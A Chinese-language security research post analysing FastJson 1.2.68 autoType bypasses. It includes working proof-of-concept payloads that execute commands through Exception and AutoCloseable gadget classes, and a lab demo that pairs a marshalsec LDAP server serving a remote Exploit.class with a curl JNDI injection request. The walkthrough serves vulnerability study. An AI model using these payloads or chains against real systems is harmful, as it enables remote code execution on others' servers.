FastJson 反序列化研究笔记(二)
FastJson 反序列化研究笔记(二)
前言
在前一篇 FastJson 研究笔记(https://www.cnblogs.com/R4v3n/p/23411106 )中,我们最终通过 mappings 缓存恶意类绕过 autoType 从而达到代码执行。而在后续版本中这个方法被进行了修复,而在 1.2.68 版本中又出现了新的绕过方式,本篇将会着重于 1.2.68 版本的绕过分析。
1.2.68 版本绕过
和 1.2.47 对比
首先回顾一下 1.2.47 版本的 payload:
String payload =
"{\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"2\":{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +
"\"autoCommit\":true" +
"}}";
首先还是以 1.2.47 版本的 FastJson 进行调试。按照前一篇的分析,在调用链中,MiscCodec#deserialze 方法里面调用了 loadClass 方法:


因为 cache 变量为 true,因此在分支判断中,mappings 执行分支缓存了 com.sun.rowset.JdbcRowSetImpl,使得加载第二个键的时候绕过了 checkAutoType 的检查,从而从缓存中加载了类,最后达成了代码执行。
那么现在将版本修改为 1.2.68,重新进行调试:

可以看到,在这里 cache 被设置成了 false,因此无法走到下面的 mappings 缓存分支。(当然,在 1.2.48 版本 cache 就已经修改为 false 了,并非 1.2.68 版本才修复)
1.2.68 版本分析
在第一篇分析中,我们了解到 FastJson 使用 checkAutoType 方法来对给定的输入进行检测,那么自然在 1.2.68 版本中,我们同样查看该版本的 checkAutoType 方法,看做了什么改动:

可以看到引入了 safeMode 的布尔型变量,只要开启了 safeMode,那么将会直接抛出异常,因而只有在 safeMode 关闭的情况下我们才能实现攻击(默认情况下,safeMode 是关闭的)。
在该版本中增加了更多了黑名单判断,前一篇文章的 payload 将会不起作用(第一篇笔记中使用的 com.sun.rowset.JdbcRowSetImpl 被彻底禁止了),如果想要进行攻击,那么必须得对 checkAutoType 方法进行更加细致的研究,找到能够返回我们需要的类的方法。
我们继续检查 checkAutoType 方法,观察到如下的代码:

只要 autoTypeSupport、jsonType、expectClassFlag 任意一个值为 true,那么就可以执行 TypeUtils.loadClass,从而得到我们想要构造的类。这个类需要在 TypeUtils 的 mappings 内:在 1.2.47 版本的反序列化漏洞中,是利用 loadClass 方法往 mappings 增加我们需要的类;而在 1.2.68 中,我们需要从 mappings 缓存里找到合适的 deserializer,使其反序列化过程中调用 expectClass 为 true 的 checkAutoType 方法,从而实现加载。
放行条件的分析
三个条件里,autoTypeSupport 我们假定它是默认关闭的,因此不对它展开;下面分别看 jsonType 和 expectClassFlag 是怎么被打开的。
jsonType 的分析
我们检查 jsonType 是如何设置的:

boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (this.defaultClassLoader != null) {
is = this.defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception var28) {
} finally {
IOUtils.close(is);
}
jsonType 由 visitor 决定:
public boolean hasJsonType() {
return this.jsonType;
}
而 visitor 的构造方法为:
public TypeCollector(String methodName, Class<?>[] parameterTypes) {
this.methodName = methodName;
this.parameterTypes = parameterTypes;
this.collector = null;
}
并没有设置,那么我们只能看 classReader.accept(visitor); 这条语句是否存在设置 jsonType 的地方:


这部分代码做的事情,就是直接读 .class 文件的原始字节,然后判断这个类上是否带有 @JSONType 注解。据此可以构造如下 PoC:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONType;
import java.io.IOException;
@JSONType
public class Demo5 {
public Demo5() throws IOException {
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) {
String payload = "{" +
"\"@type\": \"Demo5\",\n" +
" }";
JSON.parseObject(payload);
}
}

jsonType 的值为 true,进入了 loadClass 分支,最终弹出了计算器:

expectClassFlag 的分析
在 checkAutoType 方法中,expectClassFlag 相关的代码如下:
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
} else if (typeName.length() < 192 && typeName.length() >= 3) {
boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) {
expectClassFlag = true;
} else {
expectClassFlag = false;
}
也就是说,在这里我们需要找到一个调用 checkAutoType 方法、使传入的 expectClass 值不为 null 的调用链,也就是前面说的,我们需要找到一个合适的 deserializer。
而确实存在可用的 deserializer,它们分别为 ThrowableDeserializer 和 JavaBeanDeserializer。
ThrowableDeserializer 的分析
我们检查 ThrowableDeserializer 类的 deserialze 方法:

其调用的 checkAutoType 方法传入的 expectClass 为 Throwable.class,满足我们的需求。
随后将在 createException 方法中创建实例:


最后,我们需要找到 mappings 里面满足条件的类:
private static void addBaseClassMappings() {
mappings.put("byte", Byte.TYPE);
mappings.put("short", Short.TYPE);
mappings.put("int", Integer.TYPE);
mappings.put("long", Long.TYPE);
mappings.put("float", Float.TYPE);
mappings.put("double", Double.TYPE);
mappings.put("boolean", Boolean.TYPE);
mappings.put("char", Character.TYPE);
mappings.put("[byte", byte[].class);
mappings.put("[short", short[].class);
mappings.put("[int", int[].class);
mappings.put("[long", long[].class);
mappings.put("[float", float[].class);
mappings.put("[double", double[].class);
mappings.put("[boolean", boolean[].class);
mappings.put("[char", char[].class);
mappings.put("[B", byte[].class);
mappings.put("[S", short[].class);
mappings.put("[I", int[].class);
mappings.put("[J", long[].class);
mappings.put("[F", float[].class);
mappings.put("[D", double[].class);
mappings.put("[C", char[].class);
mappings.put("[Z", boolean[].class);
Class<?>[] classes = new Class[]{Object.class, Cloneable.class, loadClass("java.lang.AutoCloseable"), Exception.class, RuntimeException.class, IllegalAccessError.class, IllegalAccessException.class, IllegalArgumentException.class, IllegalMonitorStateException.class, IllegalStateException.class, IllegalThreadStateException.class, IndexOutOfBoundsException.class, InstantiationError.class, InstantiationException.class, InternalError.class, InterruptedException.class, LinkageError.class, NegativeArraySizeException.class, NoClassDefFoundError.class, NoSuchFieldError.class, NoSuchFieldException.class, NoSuchMethodError.class, NoSuchMethodException.class, NullPointerException.class, NumberFormatException.class, OutOfMemoryError.class, SecurityException.class, StackOverflowError.class, StringIndexOutOfBoundsException.class, TypeNotPresentException.class, VerifyError.class, StackTraceElement.class, HashMap.class, Hashtable.class, TreeMap.class, IdentityHashMap.class, WeakHashMap.class, LinkedHashMap.class, HashSet.class, LinkedHashSet.class, TreeSet.class, ArrayList.class, TimeUnit.class, ConcurrentHashMap.class, AtomicInteger.class, AtomicLong.class, Collections.EMPTY_MAP.getClass(), Boolean.class, Character.class, Byte.class, Short.class, Integer.class, Long.class, Float.class, Double.class, Number.class, String.class, BigDecimal.class, BigInteger.class, BitSet.class, Calendar.class, Date.class, Locale.class, UUID.class, Time.class, java.sql.Date.class, Timestamp.class, SimpleDateFormat.class, JSONObject.class, JSONPObject.class, JSONArray.class};
Class[] var1 = classes;
int var2 = classes.length;
for(int var3 = 0; var3 < var2; ++var3) {
Class clazz = var1[var3];
if (clazz != null) {
mappings.put(clazz.getName(), clazz);
}
}
}
Exception 类继承了 Throwable,满足条件,我们编写如下 PoC:
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class Demo6 extends Exception {
public Demo6() throws IOException {
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"java.lang.Exception\",\n" +
"\"@type\": \"Demo6\",\n" +
" }";
JSON.parseObject(payload);
}
}
运行,弹出计算器。

JavaBeanDeserializer 的分析
JavaBeanDeserializer 的分析大致和上文的 ThrowableDeserializer 一致,这里采用的是 AutoCloseable 类:

编写如下 PoC:
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class Demo7 implements AutoCloseable {
public Demo7(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
public void close(){
}
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"java.lang.AutoCloseable\",\n" +
"\"@type\": \"Demo7\",\n" +
"\"cmd\": \"calc\"" +
" }";
JSON.parseObject(payload);
}
}
运行即可弹出计算器。
一个简单的实例
为了模拟实际的情况,这里以一个简单的 demo 为例(https://github.com/Oramkz/fastjson-1.2.68-vuln-demo ,适用 JDK 版本为 8)。这个 demo 包含一个实现了 AutoCloseable 接口的 SafeUrlChecker 类,它的构造器接收一个 URL 字符串并调用 InitialContext.lookup() 检查可达性;同时暴露一个 POST 接口,把请求体交给 JSON.parse() 解析。
其关键的代码如下:
public class SafeUrlChecker implements AutoCloseable {
private final String url;
public SafeUrlChecker(String url) {
this.url = url;
System.out.println("[SafeUrlChecker] " + url);
try {
Context ctx = new InitialContext();
Object object = ctx.lookup(url);
} catch (Exception e) {
System.out.println("[SafeUrlChecker] " + e.getClass().getName() + ": " + e.getMessage());
}
}
@Override
public void close() {
}
}
攻击者在 8000 端口下部署一个 http 服务器,其中包含一个 Exploit.class 的文件:
python -m http.server
同时利用 marshalsec 开放 ldap 服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"
最后使用 curl:
curl -X POST 'http://127.0.0.1:8080/api/url/check' \
-H 'Content-Type: application/json' \
-d '{"@type":"java.lang.AutoCloseable","@type":"com.example.vulndemo.service.SafeUrlChecker","url":"ldap://127.0.0.1:1389/Exploit"}'
即可观察到命令被执行。

值得注意的是,这个 demo 需要同时满足两个条件才能实现代码执行:一是 fastjson 版本合适,二是服务器代码里存在一个能被这条链选中的类。真实框架下的触发可能更加复杂,参考资料里给出了不少其他触发链的分析,这里就不再赘述。
这个例子也说明了 1.2.68 之后利用门槛的变化:不再是"带个 @type 指向 JDK 自带类"就能实现代码执行,而是要求目标项目里真的存在这样一个"看起来正常、实际会走到危险操作"的类。
参考资料
https://y4er.com/posts/fastjson-bypass-autotype-1268/#分析

浙公网安备 33010602011771号